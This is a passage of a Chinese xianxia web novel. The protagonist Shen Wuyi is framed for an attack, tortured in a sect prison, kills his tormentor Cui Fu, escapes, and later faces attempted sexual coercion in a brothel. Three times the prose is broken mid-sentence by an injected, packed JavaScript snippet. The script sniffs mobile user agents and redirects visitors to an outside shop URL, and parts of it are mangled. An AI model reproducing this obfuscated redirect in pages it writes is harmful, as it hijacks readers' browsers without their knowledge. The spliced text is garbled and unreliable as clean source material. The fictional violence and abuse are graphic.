不过栖鹤峰的三个人不会待在一个队伍里,沈无一一般都是快到时间了才到万事堂领牌子,随便选一个队加入。 那次很不巧,他选中了掌门儿子,崔甫带的队。 崔甫这个人,出生以来便锦衣玉食、众星捧月,难免心高气傲、目中无人。在他自己的圈子里,有的是人捧着他,但对上沈无一的话就多半要吃瘪。 沈无一跟算不上有什么深仇大恨,实际上说过的话加起来不超过十句,只是气场不和。他不想搞出什么事端,在队伍里尽可能的低调。 他们去的地方是白帝城,目标是捕获青木灵猿,这种妖兽具有较高的智慧,性情狡猾顽皮,有时候不仅捕捉不到,还有可能会被被它骗走一些东西,捕捉起来较为困难。但它身上的宝物不少,皮毛、内丹都值得获取。 这支队伍在白帝城的树林里晃了快一个下午都没有见着青木灵猿的影子,于是他们准备设陷阱引青木灵猿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006059|148535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上钩。崔甫带头弄了一个陷阱出来,放上了青木灵猿最喜欢的赤红果。 沈无一一眼就看出这个陷阱没用,崔甫的陷阱挖在地上,而青木灵猿可以轻松吊在树上获取食物,根本不会触发陷阱。 毕竟到时候要一起算分,他还是说出了这个陷阱的弊端,当然,这句话放下小弟们的吹捧之后说就显得相当破坏气氛了,崔甫果然也没有听,轻蔑地说等青木灵猿一出现,就算他触发不了机关,他们这么多人,直接上捆仙索就可以了,其他人也跟着附和。 毕竟他是掌门的儿子,非要跟他对着干也没什么好好处,沈无一心说行行行你们弄吧,便没有再说话了。 结果毫无意外地失败了。 青木灵猿动作迅速,对这片地带又熟悉,在林间荡的时候还有闲工夫抓他们背上的包,林间树木茂盛密集,他们无法御剑飞行,行动不便,根本施展不开,简直是被青木灵猿溜着玩。 崔甫被折腾的满身狼狈,他虽然法器宝物众多,但根本没时间掏出来,掏出来也打不中,发冠都歪了。他恼怒却没有任何办法,最后还是沈无一抓住时间出剑斩落树枝,让青木灵猿落地,才得以捕获。 崔甫本是想在众人面前大展身手一番,谁知却丢了大脸,还让最讨厌的沈无一抢了风头,一时脸色青红交加。 按理说他跟沈无一其实交集不多,本不应该这么讨厌沈无一,但当初崔甫本是要拜同尘为师的,他自认为以父亲跟同尘的关系,拜入同尘门下已经是板上钉钉的事情,便将此事大肆宣扬,还准备了弟子礼,谁知最后被不止从哪里冒出来的沈无一顶了缸,他一时成了笑话。 同尘他自然是不敢记恨的,于是就将这个仇算在了沈无一头上,怎么看他都不顺眼,更别提这人行事张张扬毫不内敛,从不给他面子。 更重要的是,他因为跟沈无一年级相仿,作为悬眼山的大弟子,还是掌门的儿子,总逃不开被拿来作比较,连他的父亲都时不时要说上两句。 他顺风顺水的惯了,怎么受得了被这样压一头? 再说,他沈无一凭什么?温成儒是帝君战友遗孤,陆朝阳好歹是个皇子,而他沈无一只是一个没人要的乞丐,撞了大运被帝君带回来,才能如此平步青云!若非如此,他现在还不知道在哪里要饭呢! 沈无一的衣服也被划破了,这让他心情不太好。崔甫转头就看见他脸上讥诮的表情,新仇旧恨一起涌上来,心中的怒火和嫉妒顿时找到了一个突破口,他走到沈无一面前,嘴边挂起冷笑:“我只是判断失误一次而已,谁没有犯过错吗?你至于这么傲慢?看不惯我还选我的队做什么?为了显示你的优越吗?” 沈无一那段时间的状态奇差无比,他被无时无刻不出现在耳边的幻音折磨的夜不能寐,此时面对崔甫这种没事找事的行为,根本和颜悦色不起来。他抱着剑,皮笑肉不笑地说:“难道布置这个陷阱的是我?菜就多练不好吗?丢人把气撒在别人身上不太好吧?” 崔甫脸色涨得通红,冲上去就要跟沈无一厮打,二人刚交手就被其他人拉开:“何必呢?何必呢?大家都是一个队的,各退一步吧。” 崔甫呼哧呼哧喘着粗气,瞪着沈无一,阴阳怪气地说:“是啊,我们谁能比得过你这个天纵之才啊?毕竟谁也没有你那个好运气,能从一个叫花子变成帝君的弟子,对吧?你这么厉害,不如一个人一队吧,我们这小队可容不下你这尊大佛!” 沈无一看着他,轻嗤一声,一句话都没多说,果断地离队一个人前行了。 崔甫气的要死,一把推开拉着他的人,咬着牙说:“让他走,他一个人,没有地图,我看他几时才能走出这个林子!” 17. 第十七章 沈无一觉得自己最近真是祸不单行,先是因为懒抽中了崔甫的队伍,现在刚离队,还没找到林子的出口,就碰上了一群暴走的青木灵猿。 更不巧的是这边聚了一些来林中春游的普通百姓,正躲在山洞中瑟瑟发抖,沈无一只好用傀儡娃娃将灵猿引走,又废了九牛二虎之力将火力全都引到自己身上。 这群青木灵猿面目呆滞、口中流涎,见人就攻击,不似常态。沈无一从它们身上感到了魔气,他顿时警惕起来,但青木灵猿数量众多,缠斗之中他还是不小心被抓了一道,顿时剧痛传来,伤口周围泛起黑色。 经脉传来极不舒服的胀痛,沈无一立马地割开伤口放出污血,用最快的速度封闭住右手的经脉。 看来这些青木灵猿之所以变成这样,是因为受到魔气的驱使。是谁做的?它们出现在自己面前,是巧合,还是人为? 他皱起眉头,有种非常不好的预感。 青木灵猿十分躁动,想要循着人类气味最浓郁的地方追去。沈无一扶住受伤的胳膊,对上青木灵猿失去理智的赤红眼眸,杀念在他的心中升起,他现在处于劣势,必须得速战速决,绝对不能让这群发狂的灵猿离开这片区域。 不管它们为什么出现在自己的面前,最好的办法,就是杀了它们! 这个想法产生的一瞬间,他的身体就已经先一步产生了动作。他一边同青木灵猿周旋,一边用剑在地上画下阵法,几个回合之后,阵法已成,便毫不犹豫地念道:“千剑阵!开!” 一道道雪白的霜花在他的脚下绽开,在他的催动下,霜花以游蛇之势前行,封住了灵猿的双脚,与此同时,一阵强盛的光芒乍开,锻心幻化出千百个虚影呈展刺状悬浮于空中,在他的号令下齐齐一动! 剑光如雪般落下,狠狠刺入灵猿身体! 灵猿发出一声长长的凄厉哀嚎,下一秒便轰然倒地。 沈无一落在地上,身子一晃,“噗”地吐出一口鲜血,这个阵法几乎耗尽了他所有的灵力。他看着一地青木灵猿的尸体,感到大脑嗡嗡的,指尖发麻。 过度的杀戮让他差点压制不住体内的魔气,他深呼一口气,默念心决,终于将翻腾的杀意压了下去。 他现在也没法儿再比赛了,干脆从乾坤袋中取出信号烟放出,附近的师兄师姐看到信号烟赶来,触目便是满地狼藉、血流漂杵的场面,惊愕道:“怎么回事?” 沈无一艰难地擦掉嘴角的鲜血,撑着最后的力气说:“这些青木灵猿发狂了,多半是有人在故意为之。我没有其他办法,只能杀了它们。” 师姐点了点头说:“知道了,接下来交给我们就好了,你先回悬眼山吧。” 沈无一放下心来,回了栖鹤峰。但几个时辰之后,他就被执事堂的人叫了过去。 沈无一有些疑惑,他已经说过了自己的所见所闻,为何还要叫他。他到了地方,看到堂中横着摆了数个架子,架子上均盖着白布,浓重的血腥味传来,沈无一怔了一下,这是怎么回事?这次春猎有人死了? 他往前走,看到掌门和执事堂长老站在最前方,神色严肃地交流。 沈无一对掌门向来避而远之,再加上执事堂中的大阵仗,心里忽然窜出来一股浓浓的不安来。他将视线从白布上收回,稳了稳心神,走上前,弯腰行了一个弟子礼:“弟子沈无一见过掌门师叔、奉行长老。” 掌门目光转向他,视线一刹那极具压迫感,透着忌惮和审视,他问:“你这次春猎选择了阿甫的队伍,却并未与他们同行,是否是发生了冲突。” 沈无一顿了一下,不卑不亢地说:“是。我与崔师兄理念不合,便分道扬镳了。” 掌门未置一词,鹰隼一样锐利的目光仍旧钉在沈无一身上:“你离开后,可有同行之人?” 沈无一心里十分疑惑,回答道:“没有。” “白帝城的数十只青木灵猿也是你绞杀的?” 沈无一越来越感觉他的语气太像是在审讯犯人,他抿了抿唇,但还是点头道:“是。” “好,好。”掌门极为轻缓地点了下头,忽然一挥衣袖,厉声道:“给我把他扣起来!” 沈无一周围的人顷刻间抓住了他的胳膊,他心中茫然大过恐惧,因而并没有怎么挣扎,抬起头问:“敢问弟子犯了什么事……?” “你还敢问?!”掌门面色威严,眼中充斥着震天怒意,他指着堂中盖着白布的担架:“你与我儿只是发生冲突,便要碎他内丹,为隐藏行迹,竟然残忍地杀害在场数人,若非我儿强撑回来求救,便要殒命与此!” 白布被掀开,一具具浑身血污的破碎尸体映入沈无一眼帘,他们的死状相当惨烈,有些尸身拼都拼不完整。 沈无一认出其中一两人的脸,正是崔甫的跟班,他心中震愕,大脑像是停摆了,难以置信地说:“您……说我杀了他们?怎么可能?” “还不承认吗?”掌门看着他的目光像是看着一个冥顽不灵的孽障,他沉着脸一招手,很快崔甫也被人推了出来,他仍在处在昏迷中,掌门上前将崔甫翻了过来,沈无一的目光落在上面,看上崔甫的背上赫然有一个黑色的掌印! 这掌印深黑,周围有着明显的像是冻伤的皲痕。 “看看这伤,你觉得熟悉吗?” 沈无一瞳孔一缩,因为这掌印不论大小还是形状都与他的一般无二,而他的真气外化——“霜华”——造成的冻伤也和崔甫背上的一模一样! 他这才发现,那几具尸体身上都有着同样的冻伤痕迹,而那些惨不忍睹的切割伤也像是“千剑阵”造成的。 这到底怎么回事?有谁仿照他的招式袭击了崔甫等人? 沈无一攥住掌心,感觉自己像是掉进了某个陷阱,淤泥将他的双脚缠住,他感觉天旋地转,呼吸困难,空气好像都变得稀薄了。 “掌门师叔,此事非我所为!”沈无一努力保持冷静,急声说:“我早就跟他们分开了,并未返回!” “可无人替你证明!”掌门目光冷硬:“你与阿甫他们分开的时间与你燃放信号烟的时间足有半个时辰!这段时间你随时可以动手。况且这些弟子身上还留有“霜华”造成的冻伤、死状也与你所绞杀的青木灵猿一模一样,这些你又该如何解释?” 沈无一解释不出来,只能徒劳地重复:“真的不是我!是有人嫁祸于我!” 掌门摇了摇头:“事到如今还在狡辩。那若我说,在这些弟子和青木灵猿的身上,都有同样的魔气呢?” 这下沈无一仿佛被惊雷劈中,整个大脑一片空白。 “本来我不欲说出来,但你身负魔血,已经如我所担心的那样成为了修仙界的隐患。”掌门取出一个灵瓶,那里面涌动着一团黑色的烟雾。他一字一句地说:“我知道你早已知晓自己的血脉,那天我同你师父对话,你就在外面。” 执事堂中顿时一片哗然,怀疑、忌惮的目光纷纷投向沈无一,私语声响起。 沈无一动了一下嘴唇,却说不出一个字。 “等等!掌门师叔!这其中一定有什么误会!” 门外忽然传来一道焦急的嗓音,温成儒和陆朝阳亟亟踏入门内。 他二人一听到消息便马不停蹄地赶来,衣袍和头发都来不及整理,一来便听到这番内容,虽然心中愕然,但还是站到沈无一身边。 匆忙对掌门行完礼后,温成儒神色凝重地说:“掌门师叔,无一自小与我们一同长大,是何心性我们最为知晓,即便他……即便他身负魔族血脉,也断然不会故意伤及同门!” 陆朝阳也赶紧说:“而且师兄每日都泡净魂池、练习心法,就是为了压制魔族血脉,他肯定并未入魔,又怎么会使用魔气呢?” “是吗?”掌门转向沈无一,看见他失去血色的脸庞:“但若是他已经入魔了呢?” “什么?!” 沈无一晃了一下,指甲深深地陷进掌中,整个人像是坠入冰窟一样寒冷。他垂着头,鬓发遮住他的脸颊,下唇被他咬的一片血红。 陆朝阳激动地反驳:“不可能!” 掌门轻嗤一声:“今日众长老都在场,他是否入魔,那些弟子身上的魔气是否属于他,一看便知!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“来人!”掌门沉声道:“将沈无一带下去!” 沈无一感觉头痛欲裂,整个人像是被撕扯又强行拼凑,经脉如万蚁啃食。这根本不是他做的,他不能被抓住! 于是在执事堂的修士想要扣押他时,他本能地动用魔气震开众人,催动锻心为他开路,在失控打伤围拢过来的人后,他飞身往门外逃去—— 温成儒大惊:“无一不要!” 倏然间,化神期的威压展开,数道铁链疾行而去,一条击中锻心,一条抽中沈无一的后背,剩下四条则猛地拴住沈无一的手脚,顶端的铁刺张开,狠狠扎穿了他的经脉! 沈无一痛极地惨叫起来,像是断翅一般摔在了地上,狼狈至极。锻心同他一起哐当掉在地上,剑身断成了两截,仿佛在昭示着他今后的命运。 奉行长老收回铁链,将沈无一拖拽回来。 沈无一竟敢当场畏罪潜逃,简直不知悔改!掌门怒不可遏,霍然抽出本命剑:“孽障!今日我便当着众人的面诛灭尔等魔物,以儆效尤!” 说完剑光顿出,毫不留情地朝着沈无一劈去! 陆朝阳瞳孔颤抖,声音都劈了岔:“师兄!” 沈无一毫无反应地趴在地上,闭着眼睛,脸色惨白,像是死掉了一样。 温成儒倏然拔剑挡下剑光,而后握着剑,扑通一声跪在地上,他低下头,语速极快:“请掌门师叔原谅成儒冒犯!但沈无一毕竟是帝君弟子,弟子认为万事还是等师父回来再商议如何发落!” 掌门怒视着他,犹如一尊发怒的金刚。但不可否认的是,若是绕过帝君直接将沈无一处决,确实越俎代庖了。 片刻后,他铮然将剑入鞘,厉声道:“既如此,那我等便等帝君回来,再行裁决!但在此之前,我必将对沈无一严加看管。” 陆朝阳还想说什么,被温成儒拦住了。 “来人,将沈无一关进死牢!” 18. 第十八章 沈无一被关进了死牢。 那是悬眼山关押重大罪徒的地方,环境极为恶劣,但终归是暂时保住了性命。 因沈无一罪行深重,又极不可控,温成儒和陆朝阳请求许久,也只有一个人能前去看望,且只能待很短的时间,还要全程在狱卒的看守下进行。 最后温成儒拎着陆朝阳准备的甜点,在狱卒的带领下走进了死牢,即便只是一盒甜点,也被反复排查才得以放行。 死牢中阴暗潮湿,随处可见囚犯受刑的哀嚎声。 温成儒来到沈无一的牢房前,看到他跪在地上,双手被锁链栓起,垂着头,黑色的长发凌乱地散落在地上,双手双脚上的伤疤都没有处理,血糊糊地被铁链勒着。 温成儒目光中闪过不忍,开口喊道:“无一。” 沈无一看见他,动了动,缓慢地抬起了头,短短几天的时间,他已经苍白的不似活人,曾经鲜衣怒马的少年郎风华尽散,眼中只剩麻木痛苦。他张了一下嘴,嗓音沙哑:“师兄,你相信我……我没有做……” 沈无一额头上的魔纹还在,眼瞳生出一道道紫色的纹路,昭示着他魔族的血统。 “我当然相信你。”温成儒悲伤地看着他,温声安慰:“如果不是你,真相最后一定会水落石出,不要害怕,等师父回来,他一定会还你清白。” 沈无一睫毛颤动了一下,鼻子有些酸:“嗯。” 同尘会相信他吗?他其实害怕去想他知道自己入魔后的反应,他会允许自己继续留在栖鹤峰吗? 即便最后证实伤崔甫的人不是自己,但如今他魔族的身份已经暴露,是整个仙门的异类,留下他必然会引发极大的争议。 他真的害怕同尘会丢下他,那样他就真的无处可去了。 温成儒说:“关于你入魔的事,我不便多问。事已至此,只要你不为欲念所控、失去自我,你就还是我的师弟。师父也一定是这么认为的。” 沈无一哑着嗓子应了一声。 探监的时间有限,因为沈无一已经无法动弹,温成儒便拿起糕点喂给他,太久没用进食,过分甜腻的味道刺激着沈无一的神经,他忍着反胃的冲动,将所有的糕点都咽下去了。 “委屈你了,无一。”最后,温成儒深深地叹了口气,垂眼最后看了一眼沈无一,收好食盒,在狱卒的催促下离开了。 死牢中昏暗不见天日,沈无一被关进来之后就失去了对时间的概念。他每日都浑浑噩噩,心中仍旧怀着微末的期冀,等师父回来帮自己洗刷冤屈。 他强迫自己不去想悲观的结果,否则他真的感觉自己要在无望的日子里疯掉了。 不知道过了几天,狱卒刚送完午饭,牢房的门忽然被人一脚踹开。 崔甫环着手臂慢悠悠地打量着牢房的环境,感觉很是满意。他低头看着狼狈的沈无一,脸上带着一种奇异的微笑,眼睛亮的渗人。他弯下腰抬起沈无一的脸,欣赏着他如今狼狈的样子:“沈无一,你可真有本事啊,居然藏了这么久才被发现魔族的身份。” 沈无一抬起头看着他,因牵动伤口引发的痛楚让他忍不住蹙眉,他强撑着说:“伤你的人不是我。” “你居然还敢狡辩?”崔甫指指自己背上的伤口,恶狠狠地盯着他:“这可都是拜你所刺!若非我医治及时,差点修为尽废!沈无一,你傲慢一世,可想过自己也有阴沟里翻船的时候?” 沈无一不再说话。 崔甫盯着他看了半晌,冷笑一声,忽然一脚踢翻了他的饭盆:“你如今手脚经脉皆断,怎么吃饭啊?不如我来帮帮你吧?” 他说着一把摁住沈无一后脑勺,将他的脸摁进地上散落的饭中,沈无一挣扎着想要抬头,但根本无法反抗。他脸贴着地面,地上堆积依旧的腥腐臭味一股脑涌进他的鼻子,让他忍不住干呕起来。 “你已经成为阶下囚,凭什么还作出一副宁折不屈的样子?”崔甫哈哈大笑:“还是这样像狗一样跪在地上吃饭才更合适。怎么样,这饭好不好吃?” 沈无一半边脸都藏在污迹中,眼中带着毫不掩饰的杀意望向他。 崔甫笑声停顿片刻,眸中浮现恼怒,下一秒,他一脚踩在沈无一的脚腕上,用力碾压,恨声道:“你还敢这样看我?!” “呃!!”沈无一猛地抽搐了一下,额头痛的冒出青筋,但还是咬着嘴唇将痛吟吞了下去,脸色瞬间变得更加惨白。 “对了,“崔甫若有所思地放缓声音,笑着说:“你差点把我的内丹打碎,我于情于理都要还给你,是不是?” 沈无一面色一变,下意识地想要逃离,但内府很快传来一阵剧痛,甚至比泡净魂池还要痛百倍千倍。他额角青筋偾起,痛的大叫,整个身体都在止不住地痉挛,想要往前爬,双手双脚却被拴着无法动弹,铁链被他挣动地哗啦作响。 “啧啧啧,多可怜呐!”看见沈无一的样子,崔甫心情好了不少,他收了手,在衣服上随意地拍了拍,施恩般地说:“放心吧,我现在还不会废了你,毕竟你的灵根可是绝无仅有的,毁了就没用了。” 沈无一大脑嗡嗡作响,劫后余生般的恐惧和剧烈的痛感让他短暂地失去了听觉和视觉,满脸冷汗。他奄奄一息地趴在地上:“你这是在……动用私刑……” “动用私刑?是又怎么样?难道你还以为帝君会为你撑腰?”崔甫摊开双手,眉眼间满是尖锐的嘲讽之色:“可惜了!没有人会管你的,帝君早就已经回来了,你不知道吧?但是他却根本没有过问你!你以为自己很重要吗?你只不过一个魔族罪人!已经被彻底放弃了!” 沈无一仿佛被当头一棒,忽然停止了所有挣扎。 “……不可能。”沈无一的心猛地坠到了谷底,但还是不肯相信同尘真的会丢弃自己。他以为自己十分冷静,但那双眼睛却直直地盯着崔甫,唇齿间像是咬着血:“你骗我。” “这还能有假?”崔甫嗤笑一声,俯视着他:“长老们已经通过决议,会剥去你的灵根,将你流放至归墟之境。那里天寒地冻,想必不出两日你就死了吧?真是可惜,还有不少癖好特殊的人冲着你额头上这朵花,想把你买回去玩一玩呢?” 沈无一仿佛被抽走支撑的脊骨,整个人陡然灰败下来,耳朵里再听不进去任何声音,世界好像在这一刻轰然崩塌,所有拴在他身上的绳子被扯断,他坠入万丈深渊。 他呆愣地睁大眼睛,不停地重复着“不可能”,眼泪却从那双睁的大大的眼睛里淌了出来。 “同尘……”他再也忍不住,蹙起眉头,猛地呕出一口血,胸腔里涌上来一股血气,眼前一片模糊。他恨恨地流着泪喊:“同尘。” 崔甫看着他这模样,诧异了片刻,忽然像是发现了什么惊天大秘密,眼中露出毫不掩饰的鄙夷和震惊:“沈无一,你竟然怀着如此龌龊不堪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006061|148535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的心思?!” 他“哈”了一声,看到一个滑稽的笑话似的,忍不住抬高声音:“沈无一,你简直不知廉耻!不觉得自己很恶心吗?” 崔甫表情夸张地绕着他走了一圈,难以置信地掰过他的脸,看着这张污迹、血和泪糊了一脸的脸,他恶毒地说:“帝君自当是要和云旎仙子结为道侣的,他二人天造地设,容不得你着阴沟里的小人痴心妄想!” 沈无一胸口微弱地起伏着,每一次呼吸都分外艰难。 崔甫显得格外亢奋,他抓住沈无一的把柄,终于可以肆意地将这个处处压自己一头的人踩在脚下凌辱,让他怎么能不兴奋? 谁能想到他的弱点、最不堪启齿的地方居然是这样! “若是将这件事告诉帝君,不知他会是何反应呢?他一定觉得你肮脏至极,后悔收你为徒吧!” 崔甫畅快地大笑起来,说着便要走出牢房,下一秒,他嗓子里的笑声却戛然而止—— 一根尖锐的利刺从他的后背贯穿至他的胸口,上面涌动着黑色的魔气。 崔甫僵硬着脖子,难以置信地想要回头去看胆敢杀他的人,下一秒却看见那根利刺猛地抽出,在地上洒下一泼滚烫的鲜血。 他喉咙里发出一阵模糊的咕噜声,一句话都没来得及说,就噗通一声倒在了地上。死不瞑目。 利刺在空中重新溃散为魔气,沈无一的眼睛里是他自己都没有察觉到的死一般的冰冷,他额头上的魔纹变得更加鲜艳,红得仿佛要滴出血,经脉中乱窜的魔气找不到出口一般,在他的体内横冲直撞。 “好痛、好痛……”他无法呼吸一般地倒在地上痉挛。 拴住他的锁链开始剧烈的震动,发出急促的“哗啦啦”的响声,守门的狱卒察觉响动,警惕地奔过来,看到地上躺倒的人,面色大变,惊骇地道:“沈无一,你竟敢——!!!” 越来越多的狱卒向这边汇聚,掌门的儿子被沈无一杀死了,整个死牢中乱成一锅粥,牢头察觉大事不妙,赶紧就要去通知掌门。 就在这时,拴住沈无一的锁链终于“啪”地一声断裂,在空中断成了好几截,他的双手猛地落在地上,无力地耷拉着。 狱卒握着剑冲上来就要将他制服,忽然之间,一切都好像陷入了寂静,开始只是眼前的一道炫目亮光,紧接着,剧烈的灼痛袭上他们的感官,他们才发现自己自焚起来了。 “啊啊啊啊——!!!”狱卒们手中的武器掉落在地,他们见了鬼一样的拍打着自己身上着火的地方,但灼烧的趋势却丝毫没有减少,很快最前面的人就被烧的只剩下一具焦黑的躯壳,“噗通”“噗通”倒在地上。 沈无一周围燃烧着明亮的业火,整个人像是一只涅槃的凤凰,凡是靠近他的人都会被他身上的烈火灼烧。 他的视线在火光中扭曲,所有的声音和画面都被他屏蔽了,他的脑海中只剩下一个念头——逃、逃、逃。 他的手脚均无法行动,便只能用肘部和膝盖匍匐在地上前进,胸口剧烈地起伏着。他头发散乱,满面血污,衣着破烂,形同恶鬼,整个死牢在燃烧的业火下如同地狱,惨叫声和混乱的尖叫声此起彼伏。 一时无人拦他,沈无一紧紧盯着前方的路,奋力地往前爬行,他不知道爬了多久,也不知道自己爬到了哪里,膝盖和手肘都已经血淋淋的一片,最后他力气用尽,从山上滚到山下,晕死了过去。 19. 第十九章 沈无一叛逃了。 掌门痛失爱子,悲痛欲绝,发布了悬赏令逮捕沈无一,留云峰上下挂起了白幡。 沈无一被彻底剔出仙门,成为了不可言说的禁忌,现在各方都怀着不同的目的在寻找他。 沈无一体内的魔气陡然冲破束缚,暴走的业火足足烧了三天三夜才熄灭,被偶然路过的红袖坊老鸨带回了玉州。 他手脚毕竟是被仙器所伤,好得十分慢,修养了一周勉强能够下地,重一点的东西都举不起来。 老鸨待他差不多能走动,也不拐弯抹角了,很直白地说:“我们红袖坊可不养闲人,是我把你带回来救了你,花了不少药材银子,以后你就要替红袖坊挣钱。” 老鸨打定了他现在身无分文,根本还不起钱,沈无一无所谓留在哪里,反正现在也没有其他去处,便暂时以乐妓的身份留在了红袖坊,只接受卖艺,打算还完钱就离开。 于是红袖坊多了一位琴师,每天在固定的时间抚琴,戴着面纱,眉眼氐惆,气质卓然,有天鹅一样雪白修长的颈项,时间一到就走的干干脆脆。 但还是有很多人一掷千金只为买到她出场的票。 有人动了心思,找老鸨打听买下她的价钱,但老鸨为难地说:“小五姑娘卖艺不卖身,暂时也没有从良的打算,我这做妈妈的,也不好强迫她。” 实际上她倒是想让沈无一去卖身,但沈无一看着好说话实际上颇不按套路出牌,不是那种很守规矩的人,真把他逼急了可能又赔夫人又折兵。只不过沈无一现在市价很高,她也不愿意轻易放手,以后总是有机会把他卖个好价钱的。 …… 沈无一弹完琴下场,手已经痛得没有知觉。 他靠在窗边,望外望去,又看到一群穿着悬眼山校服的人拿着画像四处询问。 或许谁也想不到将悬眼山闹得漫天风雨的沈无一会龟缩在一个小小的青楼里。 那晚离开死牢的记忆已经很模糊了,只记得满目扭曲的火光和人们模糊痛楚的尖叫声。 他每天晚上都会梦到崔甫那张死不瞑目的脸,和同尘冷淡的目光,然后惊悸着醒来,枯坐一宿。 但他从未后悔过那么做。 他手脚的经脉虽然已经愈合,但已经无法再运行真气,也拿不起剑。锻心已经剑断,他的道途也一并断了。 他不愿意使用魔气,自欺欺人的认为这样就没有真正的坠入魔道。 或许今后都会这样苟延残喘了却残生。 他正发着呆,一个小药瓶忽然被丢在了他的怀里。 沈无一侧头看去,一个红衣服的女子抬着下巴,傲慢地看着他,神色有些不自然:“看什么看,成天不知道在这里伤春悲秋什么,手养到现在都没好,妈妈难道没给你好药吗?” 女子名叫阿珠,本来是红袖坊的头牌,自沈无一来了之后就失去了头牌的地位,看沈无一极不顺眼,总给他使绊子。直到有次她遇到麻烦,沈无一替她解了围,她才收敛许多,但态度依旧是这样别别扭扭的。 沈无一收下药瓶,对她很淡地笑了一下:“多谢阿珠姑娘。” 阿珠盯着他看了一会儿,哼了一声,扭身走了。 沈无一以为他的日子会平静一段时间,但没想到变数来的如此之快。 某天他正在午休,阿珠身边的小侍女忽然冲进他的院子,惊慌失措地哭着说:“小五姑娘,请你去救一救我家姑娘吧!” 红袖坊有个常客,是某个门派的长老,周围人都称其为“樊术长老”。因其地位较高,红袖坊自然不敢怠慢,老鸨期望能攀上这位大能,每次都会叫上坊中最好看的姑娘相陪,但这长老行事乖张,手段狠辣,对待姑娘们也丝毫不怜香惜玉,总是将人折腾的半死不活。 阿珠不小心惹恼了这位长老,被打的奄奄一息,其他姑娘们都不敢上前劝阻,还是沈无一出面护住了她,没想到这次阿珠又碰上他了。 沈无一跟随小侍女来到雅阁前,一路上小侍女都沉默寡言,闷头朝前走。沈无一以为她是护主心切,安慰她不要着急,但直到他走进雅间,身后的门被嘭地关上时,才意识到自己上套了。 阿珠不在这里。雅间中昏暗一片,只能看见软榻上懒懒地倚着一个人,正是那位樊术长老。 沈无一抱着琴站在门边,没有动:“阁下所为何事?” 樊术长老抬起头朝他看过来,他有一双又细又长,黄鼠狼似的眼睛,是心术不正之人才会有的眼睛。他放肆地打量沈无一,开门见山地说:“上次一别之后我可以是恋恋不忘啊,小五姑娘,或者,应该喊你沈无一?” 沈无一扣着琴的手一紧,目光瞬时充满杀机。 “要不是偶然看到你手腕的伤,我还不敢认呢。”樊术长老站起身,朝他走近,摇着折扇,笑眯眯地看着沈无一:“真没想到,被仙门最大的门派通缉的沈无一竟然躲藏在青楼之中,啧啧啧,真是世事难料啊。” “我可听说你干了不得了的事,悬眼山的掌门恨不得把你挫骨扬灰。要是我把你交给悬眼山,等待你的可是酷刑。”樊术长老暗示性地停顿了一下,目光黏在沈无一的脸上,语气轻佻地说:“不过,我怎么舍得放你这样的美人回去受罪呢?所以我把你买下来了,放心,今后我定然好好疼爱你。” 沈无一侧过头,目光冰冷地看着他。下一秒,他猛地扯断琴弦,细韧的弦丝如同铁针一般朝樊术长老的太阳穴袭去! “砰”地一声,沈无一被摁倒在地,他举起琴就要往对方身上砸,一根根藤蔓及时地捆住了他的手脚,他手腕失力,琴身重重地落在了地上。 “手筋都断了还这么麻利,真是防不胜防。”樊术长老抹掉脸上渗出的血,忍不住“啧”了一声,方才那弦丝划破了他的脸颊,现在还有点刺挠的疼。 不过这点小伤对他来说无伤大雅,经过这一下,他彻底确定沈无一已经变成了一个废人,虽然他已经道听途说了悬眼山死牢的事,不过现在很显然,沈无一连他都反抗不了。更何况他现在色欲熏心,也懒得去想那么多。 他放下心来,伸手拨弄了一下沈无一的耳垂,暧昧不清地说:“我劝你还是省点力气,等会儿在床上,你可以抓个够。” 沈无一恶声反击:“我可不敢!听说你不仅时间短,还有各种病。” 樊术长老脸上的笑容一停,阴鸷地眯了一下眼睛:“沈无一,你真是有一张不讨喜的嘴。” 他一抬手,往沈无一的嘴里塞了一枚药片,封住了他的嗓子。与此同时,两枚魂钉噗呲一声钉入他的肩膀,沈无一痛的耳鸣了一瞬,脸色刹那变白,双臂软绵绵地垂了下去。 “给你的一点教训,这样不就听话多了。”樊术长老满意地欣赏着美人在他身下屈辱不甘的模样,将他抱起来放在床上。 沈无一发不出声音也无法动弹,像个只能任人摆弄的玩偶,手脚都无法动弹,这种受制于人的感觉让他感觉糟糕透顶。 一种难以控制的、被冒犯被羞辱的愤怒如同洪潮一般涌出,让沈无一呼吸都变得急促起来。 “杀了他。”心里有个声音说:“只要你动用魔气,你就可以杀了他。你拥有这样的力量,为什么不用呢?胆敢冒犯你的人,就要让他付出代价!” 那个声音继续道,带着一点淡淡的嘲讽和诱哄味道:“你还等什么?别天真了沈无一,就算你不用魔气,也改变不了你入魔的事实,更何况,你早就没有回头路了,不是吗? “同尘若是见到你,你猜他是会听你解释,还是会拔出太古斩杀你?!” 